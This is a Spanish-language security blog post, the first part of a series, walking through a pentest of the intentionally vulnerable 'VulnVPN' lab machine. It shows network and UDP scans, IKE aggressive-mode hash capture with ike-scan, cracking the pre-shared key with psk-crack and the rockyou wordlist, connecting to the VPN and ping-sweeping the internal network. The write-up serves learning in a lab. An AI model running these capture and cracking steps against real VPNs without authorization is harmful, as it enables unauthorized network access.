viernes, 27 de diciembre de 2013

El rincón de HighSec: Cómo vulnerar una VPN - Parte I

Compartir este artículo:
Para ver la serie completa pulsa aquí. Habrá conceptos que se den por obvios ya que están explicados en artículos anteriores.
Buenas a todos! Con este post comenzamos una nueva sería que constara de dos partes sobre como es posible comprobar la seguridad y vulnerar una VPN (Virtual Private Network). Para ello haremos uso de la maquina virtual “VulnVPN” que fue realizada por el autor de http://www.rebootuser.com/ y que esta preparada para ser vulnerada. El principal objetivo que se nos plantea es ganar acceso como root al servidor VPN. Me parecía una forma muy practica de aprender como sería posible vulnerar una VPN así que vamos a ver como podría realizarse un pentest.
Antes de empezar lo primero es definir que es una VPN, por lo que aquí os dejo la definición de la Wikipedia, donde podéis encontrar mucha mas info: “Una red privada virtual, RPV, o VPN de las siglas en inglés de Virtual Private Network, es una tecnología de red que permite una extensión segura de la red local (LAN) sobre una red pública o no controlada como Internet. Permite que la computadora en la red envíe y reciba datos sobre redes compartidas o públicas como si fuera una red privada con toda la funcionalidad, seguridad y políticas de gestión de una red privada.1 Esto se realiza estableciendo una conexión virtual punto a punto mediante el uso de conexiones dedicadas, cifrado o la combinación de ambos métodos.”
Actualmente las VPN son muy utilizadas principalmente con empresas, permitiendo esta tecnología que los empleados se conecten desde casa por ejemplo y se encuentren “en la misma red empresarial”, tras conectarse a la VPN.
Una vez hemos visto que es una VPN vamos a descargar la maquina virtual de http://www.rebootuser.com/wp-content/uploads/vulnvpn/VulnVPN.7z
Tras descargarla la descomprimimos:
p7zip -d VulnVPN.7z

Y la abrimos con VMware. La maquina tiene la configuración de red preestablecida así que tendremos que ver como la ajustamos a nuestra red, ya sea cambiando la configuración de la interfaces de VMware o directamente la de nuestra red local. Yo en mi caso utilizo en cada una red tipo 192.168.0.0/24 y la IP de la maquina virtual es 192.168.0.10 por lo que únicamente necesite poner una interfaz en modo Bridge y fue suficiente.
vpn_1

Cuando tengamos la maquina virtual instalada y podamos conectarnos a ella vamos a descargar una serie de paquetes que no vienen instalados mediante el comando:
apt-get install openswan xl2tpd ppp

En caso de darnos algún problema por dependencias podemos hacer:
 "apt-get update && apt-get upgrade" o "apt-get install -f".

Ahora vamos a descargar los archivos necesarios del cliente para conectarse a la VPN de http://www.rebootuser.com/wp-content/uploads/vulnvpn/client.7z y los descomprimimos mediante:
 p7zip -d client.7z

Realizamos los siguientes comandos para meter los ficheros de configuración en sus correspondientes directorios:
root@kali:~/client# ls
ipsec.conf  ipsec.secrets  ppp  start-vpn.sh  xl2tpd
root@kali:~/client# cp ipsec.conf /etc/
root@kali:~/client# cp ipsec.secrets /etc/
root@kali:~/client# cp ppp/options.l2tpd.client /etc/ppp/
root@kali:~/client# cp xl2tpd/xl2tpd.conf /etc/xl2tpd/

Una vez hemos realizado todo estos pasos podemos comenzar a realizar el pentest al servidor VPN. Para ello lo primero que haríamos seria comprobar la red ya sea con nmap o netdiscover de la siguiente forma:
nmap -sP 192.168.0.0/24
netdiscover -r 192.168.0.0/24
vpn_2

Una vez hemos identificado el host, en este caso sabemos que es la maquina virtual, tendríamos que realizar un escaneo de esa IP para comprobar que puertos tiene abiertos y por donde podríamos llevar a cabo la intrusión, para ello realizamos un escaneo con nmap de la siguiente forma:
nmap -A 192.168.0.10
También podríamos escanear todos los puertos por si hubiera alguna sorpresa mediante "nmap -A 192.168.0.0/24 -p1-65355"
vpn_3
vpn_7

Como vemos en el resultado únicamente tiene el puerto 81 abierto. En este puerto no hay nada mas que una web que puso el autor de la VM con alguna información, por lo que lo lógico seria realizar ahora un escaneo de los posibles puertos UDP mediante:
nmap -sU 192.168.0.10
vpn_4

Como vemos en la imagen tiene el puerto 500/udp abierto, este puerto es donde corre el servicio ISAKMP (Internet Security Association and Key Management Protocol) que es un protocolo criptográfico que constituye la base del protocolo de intercambio de claves IKE. Si queréis mas información: http://es.wikipedia.org/wiki/Internet_Security_Association_and_Key_Management_Protocol
Como tiene el puerto abierto vamos a utilizar ike-scan para lograr conseguir el hash que nos permita obtener la clave para conectarnos a la VPN mediante el siguiente comando:
ike-scan -M -A -Pike-hash -d 500 192.168.0.10 -sport 0
vpn_5

Una vez ejecutado y finalizado como vemos en la anterior imagen el programa ike-scan nos genera un archivo donde esta el hash, por lo que ahora deberemos realizar fuerza bruta contra ese hash para lograr conseguir la contraseña que nos permita conectarnos a la VPN. Para ello lo primero tenemos que utilizar un diccionario como puede ser “rockyou” que viene ya en Kali, por lo que lo descomprimimos para poder usarlo de la siguiente manera:
gzip -d /usr/share/wordlists/rockyou.txt.gz

Ahora que ya esta descomprimido vamos a ver si conseguimos sacar la contraseña del hash que hemos obtenido mediante psk-crack:
psk-crack -d /usr/share/wordlists/rockyou.txt ike-hash
vpn_6

Y como vemos en nada de tiempo nos a sacado que la clave es “123456″. Ahora deberemos editar el fichero “/etc/ipsec.secrets” y remplazar “ENTER_PSK_HERE” por “123456″ mediante:
vi /etc/ipsec.secrets
vpn_8
vpn_9

Tras esto, reiniciamos el servicio ipsec:
/etc/init.d/ipsec restart
vpn_10

Iniciamos el servicio xl2tdp en caso de no estar corriendo:
/etc/init.d/xl2tpd start

Como ya tenemos todo configurado nos conectamos a la VPN usando el siguiente comando:
ipsec auto --up vpn

Ejecutamos el script start-vpn.sh para que nos cree la interfaz ppp0 que nos daría acceso a la red interna de la “empresa” de la siguiente manera:
 sh start-vpn.sh

Tras ejecutar el script podemos ejecutar “ifconfig” y vemos que ya tenemos la nueva interfaz de red creada con la correspondiente IP privada asignada.
vpn_11

Ahora vamos a comprobar que mas host hay en la red interna a la que nos hemos conectado tras averiguar la contraseña. Esto lo podemos hacer mediante algún script como vemos a continuación:
for ip in 10.99.99.{1..255}; do ping -c 1 -t 1 $ip > /dev/null && echo “${ip} is up”;
 done
vpn_12

Y hasta aquí llega el post de hoy, en los siguientes seguiremos profundizando mas y viendo otras posibles formas de realizar un pentest a una VPN. Espero que os haya gustado!

Un saludo,

Eduardo – eduardo@highsec.es – @_Hykeos

1 comentario:

  1. Todo el post se basa en que alguien te pasa la clave criptografica pública del cliente. Cosa casi improbable en un caso real. Correcto?

    Saludos. Soys unos cracks

    ResponderEliminar

Related Posts Plugin for WordPress, Blogger...